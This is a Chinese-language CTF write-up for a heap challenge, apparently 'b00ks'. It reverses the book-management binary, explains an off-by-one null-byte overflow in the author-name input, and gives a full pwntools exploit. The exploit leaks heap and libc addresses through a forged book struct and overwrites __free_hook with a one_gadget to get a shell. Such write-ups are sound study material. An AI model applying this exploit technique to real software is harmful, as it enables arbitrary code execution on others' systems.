检查
程序逻辑
main
标准的菜单函数,这个题的功能还比较多
creat_book
第一部分
输入name的大小,输入name
注意这里有一个函数 read_in_memory
目前来看就是向内存中的指定位置写入数据,这里还并不能体现off_by_one
第二部分
输入book_description size和book_description
并且下面有一个book struct,恢复出来的话应该是这样子:
struct book
{
int id;
char *name;
char *description;
int size;
};
其实应该是一个数组指针的,可惜不会ida恢复捏
delete
选择一个要删除的id后,对id的合法性进行判断,合法的话free掉各部分
edit
edit同样是读取一个id,对其合法性进行检查并通过后,可以修改其book description的部分
print_book
这里是遍历这个book指针数组,然后依次输出其ID,name,description,author的信息,这种函数一般都用来信息泄露
change_author_name
直接可以修改作者的名字,注意这里的有个off_by_one
可以看到对off_by_one传入了32作为参数。
这里的判断条件是i == a2,而i是从0开始,所以会多循环一次,而作者的最大名字只能是0x20。这就造成字符串末尾的\x00
会溢出到下一个字节形成off_by_one
利用思路
泄露出图书结构体指针
可以看到如果我们刚好填充到0x20字节,那么后面的结构体地址会一并泄露出来,那么我们就得到了一个结构体指针
覆盖原有结构体指针
因为在change_author_name的地方形成了off_by_one,所以只能在这里寻找机会,我们看看溢出的地方
在off_202018这个地方溢出了一字节,而off_202018写的地址是unk_202040,那么先写0x20字节的话就是unk_202060,注意看刚好到达off_202010的位置,所以溢出的一字节就写入了off_202010的第一个位置
找到了溢出的地址,再看看off_202010这个地方原本的功能是什么
借用一张图:
那么我们如果将\x00
覆盖掉该地址,就变成了0x555555757700,这个地址是指向book1_desc,就可以在这里伪造一个fake_book_struct
伪造地址泄露libc
伪造的地址可以填上创建的book2的地址,book2我们可以把size开的很大,这样就会去调用mmap来分配,在关闭aslr的情况下,地址不变,我们就可以泄露这个地址并且与libc基址相减算出offset进而得到真实环境下的lib基址,拿到基址后就是常规打__free_hook的操作
exp分析
完整exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
gdb.attach(p)
elf = ELF('./pwn')
libc = ELF('./libc-2.27_sym.so')
def creat_name(name):
p.recvuntil("author name:")
p.sendline(str(name))
def create_book(name_size, name, desc_size, desc):
p.recvuntil("> ")
p.sendline(b"1")
p.recvuntil("name size:")
p.sendline(str(name_size))
p.recvuntil("(Max 32 chars):")
p.sendline(str(name))
p.recvuntil("description size:")
p.sendline(str(desc_size))
p.recvuntil("description:")
p.sendline(str(desc))
def delete_book(book_id):
p.recvuntil("> ")
p.sendline(b"2")
p.recvuntil("delete:")
p.sendline(str(book_id))
def edit_book(book_id, desc):
p.recvuntil("> ")
p.sendline(b"3")
p.recvuntil("edit:")
p.sendline(str(book_id))
p.readuntil(": ")
p.sendline(desc)
def print_book(book_id):
p.readuntil("> ")
p.sendline("4")
p.readuntil(": ")
for i in range(book_id):
book_id = int(p.readline()[:-1])
p.readuntil(": ")
book_name = p.readline()[:-1]
p.readuntil(": ")
book_desc = p.readline()[:-1]
p.readuntil(": ")
book_author = p.readline()[:-1]
return book_id, book_name, book_desc, book_author
def change_name(name):
p.readuntil("> ")
p.sendline("5")
p.readuntil(": ")
p.sendline(str(name))
# 泄露地址
creat_name('A'*32)
create_book(128, "book1", 32, "desc1")
create_book(0x21000, "book2", 0x21000, "desc2")
book_id_1, book_name, book_desc, book_author = print_book(1)
book1_addr = u64(book_author[32:32+6].ljust(8,b'\x00'))
log.success("book1_address:" + hex(book1_addr))
# fake_book
payload = p64(book_id_1)
payload += p64(book1_addr + 0x38)
payload += p64(book1_addr + 0x40)
payload += p64(0x21000)
edit_book(book_id_1, payload)
# off_by_one
change_name('A'*32)
# 泄露地址
book_id_1, book_name, book_desc, book_author = print_book(1)
book2_name_addr = u64(book_name.ljust(8,b"\x00"))
book2_desc_addr = u64(book_desc.ljust(8,b"\x00"))
log.success("book2 name addr:" + hex(book2_name_addr))
log.success("book2 des addr:" + hex(book2_desc_addr))
libc_base = book2_name_addr - 0x5f1010
free_hook = libc_base + libc.symbols["__free_hook"]
one_gadget = libc_base + 0x4f432
edit_book(1, p64(free_hook))
edit_book(2, p64(one_gadget))
delete_book(2)
p.interactive()
# 0x555555400f55 creat_book
# 0x555555400a89 menu
# 0x555555400d1f print_book
# 0x555555400e17 edit
为什么要将book1_name设置成128的原因
name_1的地址是0x0x555555605670,设置一个128(0x80)大小的块,加上0x10大小的堆头,这样book1_desc的指针就会变成0x555555605700,刚好为off_by_one覆盖低位1字节后的地址